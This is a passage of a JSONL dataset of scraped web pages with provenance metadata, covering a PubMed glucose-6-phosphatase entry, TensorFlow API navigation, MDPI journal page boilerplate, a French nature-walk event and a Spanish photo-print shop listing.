functions of the encoded proteins.\nPublication types\nResearch Support, N.I.H., Extramural\nResearch Support, Non-U.S. Gov't\nReview\nMeSH terms\nAnimals\nCarbohydrate Metabolism, Inborn Errors / enzymology*\nCarbohydrate Metabolism, Inborn Errors / genetics\nCarrier Proteins / genetics\nCarrier Proteins / metabolism\nCatalytic Domain / genetics\nEndoplasmic Reticulum / enzymology*\nEndoplasmic Reticulum / genetics\nGene Expression Regulation, Enzymologic*\nGlucose-6-Phosphatase / genetics\nGlucose-6-Phosphatase / metabolism*\nHumans\nHydrolysis\nMultigene Family*\nMultiprotein Complexes / genetics\nMultiprotein Complexes / metabolism\nMutation*\nOrgan Specificity\nTranscription, Genetic / genetics\nSubstances\nCarrier Proteins\nMultiprotein Complexes\nGlucose-6-Phosphatase\nGrants and funding\nP30 DK057516/DK/NIDDK NIH HHS/United States\nP60 DK020593/DK/NIDDK NIH HHS/United States\nR01 DK076027/DK/NIDDK NIH HHS/United States\nDK052068/DK/NIDDK NIH HHS/United States\nDK56374/DK/NIDDK NIH HHS/United States\nP30 DK57516/DK/NIDDK NIH HHS/United States\nR56 DK052068/DK/NIDDK NIH HHS/United States\nDK076027/DK/NIDDK NIH HHS/United States\nR01 DK061645/DK/NIDDK NIH HHS/United States\nR01 DK056374/DK/NIDDK NIH HHS/United States\nDK76027/DK/NIDDK NIH HHS/United States\nR01 DK052068/DK/NIDDK NIH HHS/United States\nP60 DK20593/DK/NIDDK NIH HHS/United States\nDK61645/DK/NIDDK NIH HHS/United States", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/cbff5c8e-06b4-4ae4-8efd-039328260e4e", "content_hash": "337ba4f244a86def55ba8f0c1d04af22d2ae9fccc3c8a3ac6309f803f625b2c0", "created_at": "2026-03-28T05:11:09.802015319Z"} +{"id": "0f2a219f-986a-48ca-9247-79ffab746f8e", "source": "brain", "text": "tf.raw_ops.NonMaxSuppressionV2 | TensorFlow v2.16.1\n\ntf.raw_ops.NonMaxSuppressionV2 | TensorFlow v2.16.1\nSkip to main content\nInstall Learn\nIntroduction\nNew to TensorFlow?\nTutorials\nLearn how to use TensorFlow with end-to-end examples\nGuide\nLearn framework concepts and components\nLearn ML\nEducational resources to master your path with TensorFlow\nAPI\nTensorFlow (v2.16.1)\nVersions\u2026\nTensorFlow.js\nTensorFlow Lite\nTFX\nEcosystem\nLIBRARIES\nTensorFlow.js\nDevelop web ML applications in JavaScript\nTensorFlow Lite\nDeploy ML on mobile, microcontrollers and other edge devices\nTFX\nBuild production ML pipelines\nAll libraries\nCreate advanced models and extend TensorFlow\nRESOURCES\nModels & datasets\nPre-trained models and datasets built by Google and the community\nTools\nTools to support and accelerate TensorFlow workflows\nResponsible AI\nResources for every stage of the ML workflow\nRecommendation systems\nBuild recommendation systems with open source tools\nCommunity\nGroups\nUser groups, interest groups and mailing lists\nContribute\nGuide for contributing to code and documentation\nBlog\nStay up to date with all things TensorFlow\nForum\nDiscussion platform for the TensorFlow community\nWhy TensorFlow\nAbout\nCase studies\n/\nEnglish\n\u4e2d\u6587 \u2013 \u7b80\u4f53\nGitHub Sign in\nTensorFlow v2.16.1\nOverview Python C++ Java More\nInstall\nLearn\nMore\nAPI\nMore\nOverview\nPython\nC++\nJava\nMore\nEcosystem\nMore\nCommunity\nMore\nWhy TensorFlow\nMore\nGitHub\nOverview\nAll Symbols\nPython v2.16.1\ntf\nOverview\nAggregationMethod\nCriticalSection\nDeviceSpec\nGradientTape\nGraph\nIndexedSlices\nIndexedSlicesSpec\nModule\nOperation\nOptionalSpec\nRaggedTensor\nRaggedTensorSpec\nRegisterGradient\nSparseTensorSpec\nTensor\nTensorArray\nTensorArraySpec\nTensorShape\nTensorSpec\nTypeSpec\nUnconnectedGradients\nVariable\nVariable.SaveSliceInfo\nVariableAggregation\nVariableSynchronization\napprox_top_k\nargsort\nbatch_to_space\nbitcast\nboolean_mask\nbroadcast_dynamic_shape\nbroadcast_static_shape\nbroadcast_to\ncase\ncast\nclip_by_global_norm\nclip_by_norm\nclip_by_value\nconcat\ncond\nconstant\nconstant_initializer\ncontrol_dependencies\nconv\nconv2d_backprop_filter_v2\nconv2d_backprop_input_v2\nconvert_to_tensor\ncustom_gradient\ndevice\ndynamic_partition\ndynamic_stitch\nedit_distance\neinsum\nensure_shape\nexecuting_eagerly\nexpand_dims\nextract_volume_patches\neye\nfftnd\nfill\nfingerprint\nfoldl\nfoldr\nfunction\ngather\ngather_nd\nget_current_name_scope\nget_logger\nget_static_value\ngrad_pass_through\ngradients\ngroup\nguarantee_const\nhessians\nhistogram_fixed_width\nhistogram_fixed_width_bins\nidentity\nidentity_n\nifftnd\ninit_scope\ninside_function\nirfftnd\nis_symbolic_tensor\nis_tensor\nlinspace\nload_library\nload_op_library\nmake_ndarray\nmake_tensor_proto\nmap_fn\nmeshgrid\nname_scope\nno_gradient\nno_op\nnondifferentiable_batch_function\nnorm\nnumpy_function\none_hot\nones\nones_initializer\nones_like\npad\nparallel_stack\nprint\npy_function\nragged_fill_empty_rows\nragged_fill_empty_rows_grad\nrandom_index_shuffle\nrandom_normal_initializer\nrandom_uniform_initializer\nrange\nrank\nrealdiv\nrecompute_grad\nregister_tensor_conversion_function\nrepeat\nrequired_space_to_batch_paddings\nreshape\nreverse\nreverse_sequence\nrfftnd\nroll\nscan\nscatter_nd\nsearchsorted\nsequence_mask\nshape\nshape_n\nsize\nslice\nsort\nspace_to_batch\nspace_to_batch_nd\nsplit\nsqueeze\nstack\nstop_gradient\nstrided_slice\nswitch_case\ntensor_scatter_nd_add\ntensor_scatter_nd_max\ntensor_scatter_nd_min\ntensor_scatter_nd_sub\ntensor_scatter_nd_update\ntensordot\ntile\ntimestamp\ntranspose\ntruncatediv\ntruncatemod\ntuple\ntype_spec_from_value\nunique\nunique_with_counts\nunravel_index\nunstack\nvariable_creator_scope\nvectorized_map\nwhere\nwhile_loop\nzeros\nzeros_initializer\nzeros_like\ntf.audio\nOverview\ndecode_wav\nencode_wav\ntf.autodiff\nOverview\nForwardAccumulator\ntf.autograph\nOverview\nset_verbosity\nto_code\nto_graph\ntrace\nexperimental\nOverview\nFeature\ndo_not_convert\nset_loop_options\ntf.bitwise\nOverview\nbitwise_and\nbitwise_or\nbitwise_xor\ninvert\nleft_shift\nright_shift\ntf.compat\nOverview\nas_bytes\nas_str\nas_str_any\nas_text\ndimension_at_index\ndimension_value\nforward_compatibility_horizon\nforward_compatible\npath_to_str\nv1\nOverview\nAttrValue\nAttrValue.ListValue\nConditionalAccumulator\nConditionalAccumulatorBase\nConfigProto\nConfigProto.DeviceCountEntry\nConfigProto.Experimental\nDeviceSpec\nDimension\nEvent\nFixedLengthRecordReader\nGPUOptions\nGPUOptions.Experimental\nGPUOptions.Experimental.VirtualDevices\nGraphDef\nGraphKeys\nGraphOptions\nHistogramProto\nIdentityReader\nInteractiveSession\nLMDBReader\nLogMessage\nMetaGraphDef\nMetaGraphDef.CollectionDefEntry\nMetaGraphDef.MetaInfoDef\nMetaGraphDef.MetaInfoDef.FunctionAliasesEntry\nMetaGraphDef.SignatureDefEntry\nNameAttrList\nNameAttrList.AttrEntry\nNodeDef\nNodeDef.AttrEntry\nNodeDef.ExperimentalDebugInfo\nOptimizerOptions\nPrint\nReaderBase\nRunMetadata\nRunMetadata.FunctionGraphs\nRunOptions\nRunOptions.Experimental\nRunOptions.Experimental.RunHandlerPoolOptions\nSession\nSessionLog\nSparseConditionalAccumulator\nSparseTensorValue\nSummary\nSummary.Audio\nSummary.Image\nSummary.Value\nSummaryMetadata\nSummaryMetadata.PluginData\nTFRecordReader\nTensorInfo\nTensorInfo.CompositeTensor\nTensorInfo.CooSparse\nTextLineReader\nVariable\nVariableAggregation\nVariableScope\nWholeFileReader\nadd_check_numerics_ops\nadd_to_collection\nadd_to_collections\nall_variables\narg_max\narg_min\nargmax\nargmin\nassert_equal\nassert_greater\nassert_greater_equal\nassert_integer\nassert_less\nassert_less_equal\nassert_near\nassert_negative\nassert_non_negative\nassert_non_positive\nassert_none_equal\nassert_positive\nassert_rank\nassert_rank_at_least\nassert_rank_in\nassert_scalar\nassert_type\nassert_variables_initialized\nassign\nassign_add\nassign_sub\nbatch_gather\nbatch_scatter_update\nbatch_to_space\nbatch_to_space_nd\nbincount\nboolean_mask\ncase\nclip_by_average_norm\ncolocate_with\ncond\nconfusion_matrix\nconstant\nconstant_initializer\ncontainer\ncontrol_flow_v2_enabled\nconvert_to_tensor\nconvert_to_tensor_or_indexed_slices\nconvert_to_tensor_or_sparse_tensor\ncount_nonzero\ncount_up_to\ncreate_partitioned_variables\ndecode_csv\ndecode_raw\ndelete_session_tensor\ndepth_to_space\ndevice\ndisable_control_flow_v2\ndisable_eager_execution\ndisable_resource_variables\ndisable_tensor_equality\ndisable_v2_behavior\ndisable_v2_tensorshape\ndiv\nenable_control_flow_v2\nenable_eager_execution\nenable_resource_variables\nenable_tensor_equality\nenable_v2_behavior\nenable_v2_tensorshape\nexecuting_eagerly\nexecuting_eagerly_outside_functions\nexpand_dims\nextract_image_patches\nfixed_size_partitioner\nfloor_div\nfoldl\nfoldr\ngather\ngather_nd\nget_collection\nget_collection_ref\nget_default_graph\nget_default_session\nget_local_variable\nget_seed\nget_session_handle\nget_session_tensor\nget_variable\nget_variable_scope\nglobal_variables\nglobal_variables_initializer\nglorot_normal_initializer\nglorot_uniform_initializer\ngradients\nhessians\ninitialize_all_tables\ninitialize_all_variables\ninitialize_local_variables\ninitialize_variables\nis_variable_initialized\nload_file_system_library\nlocal_variables\nlocal_variables_initializer\nmake_template\nmap_fn\nmin_max_variable_partitioner\nmodel_variables\nmoving_average_variables\nmultinomial\nname_scope\nno_regularizer\nnorm\nones_initializer\nones_like\nop_scope\northogonal_initializer\npad\nparse_example\nparse_single_example\nplaceholder\nplaceholder_with_default\npy_func\nquantize_v2\nrandom_normal_initializer\nrandom_poisson\nrandom_uniform_initializer\nreduce_all\nreduce_any\nreduce_join\nreduce_logsumexp\nreduce_max\nreduce_mean\nreduce_min\nreduce_prod\nreduce_sum\nreport_uninitialized_variables\nreset_default_graph\nresource_variables_enabled\nreverse_sequence\nscalar_mul\nscan\nscatter_add\nscatter_div\nscatter_max\nscatter_min\nscatter_mul\nscatter_nd_add\nscatter_nd_sub\nscatter_nd_update\nscatter_sub\nscatter_update\nserialize_many_sparse\nserialize_sparse\nset_random_seed\nsetdiff1d\nshape\nsize\nspace_to_batch\nspace_to_depth\nsparse_add\nsparse_concat\nsparse_matmul\nsparse_merge\nsparse_placeholder\nsparse_reduce_max\nsparse_reduce_max_sparse\nsparse_reduce_sum\nsparse_reduce_sum_sparse\nsparse_segment_mean\nsparse_segment_sqrt_n\nsparse_segment_sum\nsparse_split\nsparse_to_dense\nsqueeze\nstring_split\nstring_to_hash_bucket\nstring_to_number\nsubstr\ntables_initializer\nto_bfloat", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/0f2a219f-986a-48ca-9247-79ffab746f8e", "content_hash": "2ebee97ec0bf3299e627f53bfdba7a7657b5d2ec8b1dc72a45b3f3c1b0f7b2f9", "created_at": "2026-03-28T05:10:46.177099514Z"} +{"id": "0748f42e-e20d-4f9f-b512-00c503ec44ab", "source": "brain", "text": "Linking Soil CO2 Efflux to Individual Trees: Size-Dependent Variation and the Importance of the Birch Effect\n\nLinking Soil CO2 Efflux to Individual Trees: Size-Dependent Variation and the Importance of the Birch Effect\nNext Article in Journal\nAcknowledgment to Reviewers of Soil Systems in 2020\nPrevious Article in Journal\nHave Sustained Acidic Deposition Decreases Led to Increased Calcium Availability in Recovering Watersheds of the Adirondack Region of New York, USA?\nJournals\nActive Journals Find a Journal Journal Proposal Proceedings Series\nTopics\nInformation\nFor Authors For Reviewers For Editors For Librarians For Publishers For Societies For Conference Organizers\nOpen Access Policy Institutional Open Access Program Special Issues Guidelines Editorial Process Research and Publication Ethics Article Processing Charges Awards Testimonials\nAuthor Services\nInitiatives\nSciforum MDPI Books Preprints.org Scilit SciProfiles Encyclopedia JAMS Proceedings Series\nAbout\nOverview Contact Careers News Press Blog\nSign In / Sign Up\nNotice\nYou can make submissions to other journals here.\nclear\nNotice\nYou are accessing a machine-readable page. In order to be human-readable, please install an RSS reader.\nContinue Cancel\nclear\nAll articles published by MDPI are made immediately available worldwide under an open access license. No special permission is required to reuse all or part of the article published by MDPI, including figures and tables. For articles published under an open access Creative Common CC BY license, any part of the article may be reused without permission provided that the original article is clearly cited. For more information, please refer to https://www.mdpi.com/openaccess.\nFeature papers represent the most advanced research with significant potential for high impact in the field. A Feature Paper should be a substantial original Article that involves several techniques or approaches, provides an outlook for future research directions and describes possible research applications.\nFeature papers are submitted upon individual invitation or recommendation by the scientific editors and must receive positive feedback from the reviewers.\nEditor\u2019s Choice articles are based on recommendations by the scientific editors of MDPI journals from around the world. Editors select a small number of articles recently published in the journal that they believe will be particularly interesting to readers, or important in the respective research area. The aim is to provide a snapshot of some of the most exciting work published in the various research areas of the journal.\nOriginal Submission Date Received: .\nYou seem to have javascript disabled. Please note that many of the page functionalities won't work as expected without javascript enabled.\nclear zoom_out_map search menu\nJournals\nActive Journals\nFind a Journal\nJournal Proposal\nProceedings Series\nTopics\nInformation\nFor Authors\nFor Reviewers\nFor Editors\nFor Librarians\nFor Publishers\nFor Societies\nFor Conference Organizers\nOpen Access Policy\nInstitutional Open Access Program\nSpecial Issues Guidelines\nEditorial Process\nResearch and Publication Ethics\nArticle Processing Charges\nAwards\nTestimonials\nAuthor Services\nInitiatives\nSciforum\nMDPI Books\nPreprints.org\nScilit\nSciProfiles\nEncyclopedia\nJAMS\nProceedings Series\nAbout\nOverview\nContact\nCareers\nNews\nPress\nBlog\nSign In / Sign Up Submit\nerror_outline You can access the new MDPI.com website here. Explore and share your feedback with us. close\nSearch for Articles:\nTitle / Keyword\nAuthor / Affiliation / Email\nJournal\nAll Journals Accounting and Auditing Acoustics Acta Microbiologica Hellenica (AMH) Actuators Adhesives Administrative Sciences Adolescents Advances in Respiratory Medicine (ARM) Aerobiology Aerospace Agriculture AgriEngineering Agrochemicals Agronomy AI AI Chemistry AI for Engineering AI in Education AI in Medicine AI Materials AI Sensors Air Algorithms Allergies Alloys Analog Analytica Analytics Anatomia Anesthesia Research Animals Antibiotics Antibodies Antioxidants Applied Biosciences Applied Mechanics Applied Microbiology Applied Nano Applied Sciences Applied System Innovation (ASI) AppliedChem AppliedMath AppliedPhys Aquaculture Journal Architecture Arthropoda Arts Astronautics Astronomy Atmosphere Atoms Audiology Research Automation Axioms Bacteria Batteries Behavioral Sciences Beverages Big Data and Cognitive Computing (BDCC) BioChem Bioengineering Biologics Biology Biology and Life Sciences Forum Biomass Biomechanics BioMed Biomedicines BioMedInformatics Biomimetics Biomolecules Biophysica Bioresources and Bioproducts Biosensors Biosphere BioTech Birds Blockchains Brain Sciences Buildings Businesses C (Journal of Carbon Research) Cancers Cardiogenetics Cardiovascular Medicine Catalysts Cells Ceramics Challenges ChemEngineering Chemistry Chemistry Proceedings Chemosensors Children Chips CivilEng Clean Technologies (Clean Technol.) Climate Clinical and Translational Neuroscience (CTN) Clinical Bioenergetics Clinics and Practice Clocks & Sleep Coasts Coatings Colloids and Interfaces Colorants Commodities Complexities Complications Compounds Computation Computer Sciences & Mathematics Forum Computers Condensed Matter Conservation Construction Materials Corrosion and Materials Degradation (CMD) Cosmetics COVID Craniomaxillofacial Trauma & Reconstruction (CMTR) Crops Cryo Cryptography Crystals Culture Current Issues in Molecular Biology (CIMB) Current Oncology Dairy Data Dentistry Journal Dermato Dermatopathology Designs Diabetology Diagnostics Dietetics Digital Disabilities Diseases Diversity DNA Drones Drugs and Drug Candidates (DDC) Dynamics Earth Ecologies Econometrics Economies Education Sciences Electricity Electrochem Electronic Materials Electronics Emergency Care and Medicine Encyclopedia Endocrines Energies Energy Storage and Applications (ESA) Eng Engineering Proceedings Entropic and Disordered Matter (EDM) Entropy Environmental and Earth Sciences Proceedings Environments Epidemiologia Epigenomes European Burn Journal (EBJ) European Journal of Investigation in Health, Psychology and Education (EJIHPE) Family Sciences Fermentation Fibers FinTech Fire Fishes Fluids Foods Forecasting Forensic Sciences Forests Fossil Studies Foundations Fractal and Fractional (Fractal Fract) Fuels Future Future Internet Future Pharmacology Future Transportation Galaxies Games Gases Gastroenterology Insights Gastrointestinal Disorders Gastronomy Gels Genealogy Genes Geographies GeoHazards Geomatics Geometry Geosciences Geotechnics Geriatrics Germs Glacies Gout, Urate, and Crystal Deposition Disease (GUCDD) Grasses Green Health Hardware Healthcare Hearts Hemato Hematology Reports Heritage Histories Horticulturae Hospitals Humanities Humans Hydrobiology Hydrogen Hydrology Hydropower Hygiene Immuno Industries Infectious Disease Reports Informatics Information Infrastructures Inorganics Insects Instruments Intelligent Infrastructure and Construction International Journal of Cognitive Sciences (IJCS) International Journal of Environmental Medicine (IJEM) International Journal of Environmental Research and Public Health (IJERPH) International Journal of Financial Studies (IJFS) International Journal of Molecular Sciences (IJMS) International Journal of Neonatal Screening (IJNS) International Journal of Orofacial Myology and Myofunctional Therapy (IJOM) International Journal of Plant Biology (IJPB) International Journal of Topology International Journal of Translational Medicine (IJTM) International Journal of Turbomachinery, Propulsion and Power (IJTPP) International Medical Education (IME) Inventions IoT ISPRS International Journal of Geo-Information (IJGI) J Journal of Aesthetic Medicine (J. Aesthetic Med.) Journal of Ageing and Longevity (JAL) Journal of CardioRenal Medicine (JCRM) Journal of Cardiovascular Development and Disease (JCDD) Journal of Clinical & Translational Ophthalmology (JCTO) Journal of Clinical Medicine (JCM) Journal of Composites Science (J. Compos. Sci.) Journal of Cybersecurity and Privacy (JCP) Journal of Dementia and Alzheimer's Disease (JDAD) Journal of De", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/0748f42e-e20d-4f9f-b512-00c503ec44ab", "content_hash": "0fad237312433b0768c9c4a1575f810b46def70acc8d34a51179fda4cc228040", "created_at": "2026-03-28T05:10:46.102033851Z"} +{"id": "48d1c9c2-95ac-4cb7-96c3-8dd7e55b9a19", "source": "brain", "text": "Application of Complex Geophysical Methods for the Detection of Unconsolidated Zones in Flood Dikes\n\nApplication of Complex Geophysical Methods for the Detection of Unconsolidated Zones in Flood Dikes\nNext Article in Journal\nA New Type of Red-Green-Blue Composite and Its Application in Tropical Cyclone Center Positioning\nNext Article in Special Issue\nDisaster Prediction Knowledge Graph Based on Multi-Source Spatio-Temporal Information\nPrevious Article in Journal\nReal-Time Detection of Full-Scale Forest Fire Smoke Based on Deep Convolution Neural Network\nJournals\nActive Journals Find a Journal Journal Proposal Proceedings Series\nTopics\nInformation\nFor Authors For Reviewers For Editors For Librarians For Publishers For Societies For Conference Organizers\nOpen Access Policy Institutional Open Access Program Special Issues Guidelines Editorial Process Research and Publication Ethics Article Processing Charges Awards Testimonials\nAuthor Services\nInitiatives\nSciforum MDPI Books Preprints.org Scilit SciProfiles Encyclopedia JAMS Proceedings Series\nAbout\nOverview Contact Careers News Press Blog\nSign In / Sign Up\nNotice\nYou can make submissions to other journals here.\nclear\nNotice\nYou are accessing a machine-readable page. In order to be human-readable, please install an RSS reader.\nContinue Cancel\nclear\nAll articles published by MDPI are made immediately available worldwide under an open access license. No special permission is required to reuse all or part of the article published by MDPI, including figures and tables. For articles published under an open access Creative Common CC BY license, any part of the article may be reused without permission provided that the original article is clearly cited. For more information, please refer to https://www.mdpi.com/openaccess.\nFeature papers represent the most advanced research with significant potential for high impact in the field. A Feature Paper should be a substantial original Article that involves several techniques or approaches, provides an outlook for future research directions and describes possible research applications.\nFeature papers are submitted upon individual invitation or recommendation by the scientific editors and must receive positive feedback from the reviewers.\nEditor\u2019s Choice articles are based on recommendations by the scientific editors of MDPI journals from around the world. Editors select a small number of articles recently published in the journal that they believe will be particularly interesting to readers, or important in the respective research area. The aim is to provide a snapshot of some of the most exciting work published in the various research areas of the journal.\nOriginal Submission Date Received: .\nYou seem to have javascript disabled. Please note that many of the page functionalities won't work as expected without javascript enabled.\nclear zoom_out_map search menu\nJournals\nActive Journals\nFind a Journal\nJournal Proposal\nProceedings Series\nTopics\nInformation\nFor Authors\nFor Reviewers\nFor Editors\nFor Librarians\nFor Publishers\nFor Societies\nFor Conference Organizers\nOpen Access Policy\nInstitutional Open Access Program\nSpecial Issues Guidelines\nEditorial Process\nResearch and Publication Ethics\nArticle Processing Charges\nAwards\nTestimonials\nAuthor Services\nInitiatives\nSciforum\nMDPI Books\nPreprints.org\nScilit\nSciProfiles\nEncyclopedia\nJAMS\nProceedings Series\nAbout\nOverview\nContact\nCareers\nNews\nPress\nBlog\nSign In / Sign Up Submit\nerror_outline You can access the new MDPI.com website here. Explore and share your feedback with us. close\nSearch for Articles:\nTitle / Keyword\nAuthor / Affiliation / Email\nJournal\nAll Journals Accounting and Auditing Acoustics Acta Microbiologica Hellenica (AMH) Actuators Adhesives Administrative Sciences Adolescents Advances in Respiratory Medicine (ARM) Aerobiology Aerospace Agriculture AgriEngineering Agrochemicals Agronomy AI AI Chemistry AI for Engineering AI in Education AI in Medicine AI Materials AI Sensors Air Algorithms Allergies Alloys Analog Analytica Analytics Anatomia Anesthesia Research Animals Antibiotics Antibodies Antioxidants Applied Biosciences Applied Mechanics Applied Microbiology Applied Nano Applied Sciences Applied System Innovation (ASI) AppliedChem AppliedMath AppliedPhys Aquaculture Journal Architecture Arthropoda Arts Astronautics Astronomy Atmosphere Atoms Audiology Research Automation Axioms Bacteria Batteries Behavioral Sciences Beverages Big Data and Cognitive Computing (BDCC) BioChem Bioengineering Biologics Biology Biology and Life Sciences Forum Biomass Biomechanics BioMed Biomedicines BioMedInformatics Biomimetics Biomolecules Biophysica Bioresources and Bioproducts Biosensors Biosphere BioTech Birds Blockchains Brain Sciences Buildings Businesses C (Journal of Carbon Research) Cancers Cardiogenetics Cardiovascular Medicine Catalysts Cells Ceramics Challenges ChemEngineering Chemistry Chemistry Proceedings Chemosensors Children Chips CivilEng Clean Technologies (Clean Technol.) Climate Clinical and Translational Neuroscience (CTN) Clinical Bioenergetics Clinics and Practice Clocks & Sleep Coasts Coatings Colloids and Interfaces Colorants Commodities Complexities Complications Compounds Computation Computer Sciences & Mathematics Forum Computers Condensed Matter Conservation Construction Materials Corrosion and Materials Degradation (CMD) Cosmetics COVID Craniomaxillofacial Trauma & Reconstruction (CMTR) Crops Cryo Cryptography Crystals Culture Current Issues in Molecular Biology (CIMB) Current Oncology Dairy Data Dentistry Journal Dermato Dermatopathology Designs Diabetology Diagnostics Dietetics Digital Disabilities Diseases Diversity DNA Drones Drugs and Drug Candidates (DDC) Dynamics Earth Ecologies Econometrics Economies Education Sciences Electricity Electrochem Electronic Materials Electronics Emergency Care and Medicine Encyclopedia Endocrines Energies Energy Storage and Applications (ESA) Eng Engineering Proceedings Entropic and Disordered Matter (EDM) Entropy Environmental and Earth Sciences Proceedings Environments Epidemiologia Epigenomes European Burn Journal (EBJ) European Journal of Investigation in Health, Psychology and Education (EJIHPE) Family Sciences Fermentation Fibers FinTech Fire Fishes Fluids Foods Forecasting Forensic Sciences Forests Fossil Studies Foundations Fractal and Fractional (Fractal Fract) Fuels Future Future Internet Future Pharmacology Future Transportation Galaxies Games Gases Gastroenterology Insights Gastrointestinal Disorders Gastronomy Gels Genealogy Genes Geographies GeoHazards Geomatics Geometry Geosciences Geotechnics Geriatrics Germs Glacies Gout, Urate, and Crystal Deposition Disease (GUCDD) Grasses Green Health Hardware Healthcare Hearts Hemato Hematology Reports Heritage Histories Horticulturae Hospitals Humanities Humans Hydrobiology Hydrogen Hydrology Hydropower Hygiene Immuno Industries Infectious Disease Reports Informatics Information Infrastructures Inorganics Insects Instruments Intelligent Infrastructure and Construction International Journal of Cognitive Sciences (IJCS) International Journal of Environmental Medicine (IJEM) International Journal of Environmental Research and Public Health (IJERPH) International Journal of Financial Studies (IJFS) International Journal of Molecular Sciences (IJMS) International Journal of Neonatal Screening (IJNS) International Journal of Orofacial Myology and Myofunctional Therapy (IJOM) International Journal of Plant Biology (IJPB) International Journal of Topology International Journal of Translational Medicine (IJTM) International Journal of Turbomachinery, Propulsion and Power (IJTPP) International Medical Education (IME) Inventions IoT ISPRS International Journal of Geo-Information (IJGI) J Journal of Aesthetic Medicine (J. Aesthetic Med.) Journal of Ageing and Longevity (JAL) Journal of CardioRenal Medicine (JCRM) Journal of Cardiovascular Development and Disease (JCDD) Journal of Clinical & Translational Ophthalmology (JCTO) Journal of Clinical Medicine (JCM) Journal of Composites Science (J. Compos. Sci.) Journal of", "license": "apache-2.0", "quality_score": 0.75, "provenance": "pi.ruv.io/memory/48d1c9c2-95ac-4cb7-96c3-8dd7e55b9a19", "content_hash": "e51255d66b894ceb966fac649646b77f9576b7f615b3bd94e80c9aaa8b338ddd", "created_at": "2026-03-28T05:10:46.024649674Z"} +{"id": "0d89fd30-ab59-46a5-886b-89c039d05874", "source": "brain", "text": "F\u00eate de l'\u00e9cotourisme - Safari Nature - Jugon-les-lacs\n\nF\u00eate de l'\u00e9cotourisme - Safari Nature - Jugon-les-lacs\nNous contacter\nPlan d\u2019acc\u00e8s et horaires\nAccueil\nL\u2019association\nAgenda des sorties\nAnimations groupes\nGroupes scolaires\nGroupes de loisirs\nP\u00eacher \u00e0 Jugon-Les-Lacs\nFacebook\nS\u00e9lectionner une page\n\u00ab Tous les \u00c9v\u00e8nements\nCet \u00e9v\u00e8nement est pass\u00e9.\nF\u00eate de l\u2019\u00e9cotourisme \u2013 Safari Nature\n18 juin 2023 - 15 h 00 - 17 h 00\nGratuit\n\u00ab Leurre Junior 22 \u2013 Canal de Nantes \u00e0 Brest \u00e0 Bon Repos\nLes enfants parrainent la nature \u00bb\nDans le cadre de la F\u00eate de l\u2019\u00e9cotourisme avec les labels Station Verte et Station P\u00eache, la commune de Jugon-les-lacs Commune Nouvelle propose des animations en mai et juin.\nLe dimanche 18 juin, une sortie \u00ab Safari nature \u00bb est anim\u00e9e par la Maison P\u00eache et Nature : balade de d\u00e9couverte des plantes sauvages comestibles dans le village de Jugon. Vous ne verrez plus les \u00ab mauvaises herbes \u00bb de la m\u00eame mani\u00e8re ! Initiation \u00e0 la reconnaissance des plantes et \u00e0 leurs usages. Sortie familiale, d\u00e9conseill\u00e9e pour les enfants de moins de 7 ans qui n\u2019y trouveraient pas leur int\u00e9r\u00eat.\nGratuit mais r\u00e9servation obligatoire en cliquant sur le bouton suivant (nombre de places limit\u00e9 ; si vous obtenez une page indiquant \u00ab l\u2019\u00e9tablissement n\u2019est pas disponible\u2026 \u00bb c\u2019est que la sortie est compl\u00e8te :\nChargement en cours\u2026\nAjouter au calendrier\nGoogle Agenda\niCalendar\nOutlook 365\nOutlook Live\nD\u00e9tails\nDate : 18 juin 2023\nHeure :\n15 h 00 - 17 h 00\nPrix : Gratuit\nCat\u00e9gorie d\u2019\u00c9v\u00e8nement: Sortie nature\nSite : https://jugonleslacs-communenouvelle.fr/fr/ev/1335479/941852/fete-de-lecotourisme-1\nOrganisateur\nMaison P\u00eache et Nature\nT\u00e9l\u00e9phone .04\nLieu\nMaison P\u00eache et Nature des C\u00f4tes d\u2019Armor\n2 Rue des Grands Moulins\nJugon-les-Lacs, 22270 France + Google Map\n\u00ab Leurre Junior 22 \u2013 Canal de Nantes \u00e0 Brest \u00e0 Bon Repos\nLes enfants parrainent la nature \u00bb\nMaison P\u00eache et Nature\ndes C\u00f4tes d'Armor\n2 Rue des Grands Moulins,\n22270 Jugon-les-Lacs\nT\u00e9l. : 02 96 50 60 04\nNos partenaires\nShare This\nPartager sur Facebook\nPartager sur Twitter", "license": "apache-2.0", "quality_score": 0.75, "provenance": "pi.ruv.io/memory/0d89fd30-ab59-46a5-886b-89c039d05874", "content_hash": "9a55b9d647ab906ea5dce3619868dc2044ed45321af0d9ca5728c85bc62345a1", "created_at": "2026-03-28T05:10:45.920183509Z"} +{"id": "2baa80b0-404d-40ee-ad57-0bbdb2e2e73e", "source": "brain", "text": "Comprar Cigue\u00f1as al amanecer en nuestra Tienda Online\n\nComprar Cigue\u00f1as al amanecer en nuestra Tienda Online\n 650 977 988\nCarrito Mi cuenta\nInicio\nFotograf\u00edas de Naturaleza\nTienda Online\nTalleres y cursos Fotogr\u00e1ficos\nBIO\nBlog\nCigue\u00f1as al amanecer\nHome\nFotograf\u00edas de Naturaleza\nAves\nCigue\u00f1as al amanecer\nCigue\u00f1as al amanecer\nRef. 387\nAcabados:\nFotograf\u00eda impresa en lienzo con bastidor (40x30)\nFotograf\u00eda impresa en lienzo con bastidor (60x40)\nFotograf\u00eda impresa en lienzo con bastidor(90x60)\n60,00 \u20ac\nA\u00f1adir a Cesta\nRec\u00edbelo en un plazo aproximado de 7-10 d\u00edas\nEn Stock\nEstas fotograf\u00edas est\u00e1n realizadas en unos de los espacios Naturales m\u00e1s importantes de Europa como es el Parque Nacional de Do\u00f1ana y su comarca\nCon mis fotograf\u00edas os quiero trasmitir la gran belleza y magia que nos ofrece la naturaleza.\nFotograf\u00eda impresa en Lienzo\n40x30 60\u20ac\n60x 40 90\u20ac\n90x60 110\u20ac\nFotograf\u00eda impresa en madera\n40x30 70\u20ac\n60x40 99\u20ac\n80x60 120\u20ac\nLa entrega de las fotograf\u00edas ser\u00e1 en un plazo de 7 a 10 d\u00edas\nUna vez se realice el pago, haremos el encargo al laboratorio\nEl envio de la fotograf\u00eda impresa te la haremos a tu domicilio por agencia de transporte\nSi quieres solicitar esta fotograf\u00eda sin montar en madera o lienzo\nEnv\u00eda un correo a \nIndica\nTama\u00f1o que quieres\nReferencia de la fotograf\u00eda\nNombre y apellidos\nTel\u00e9fono\nTe responderemos lo antes posible\nPREGUNTAS sobre\nHACER UNA PREGUNTA\nFotograf\u00edas 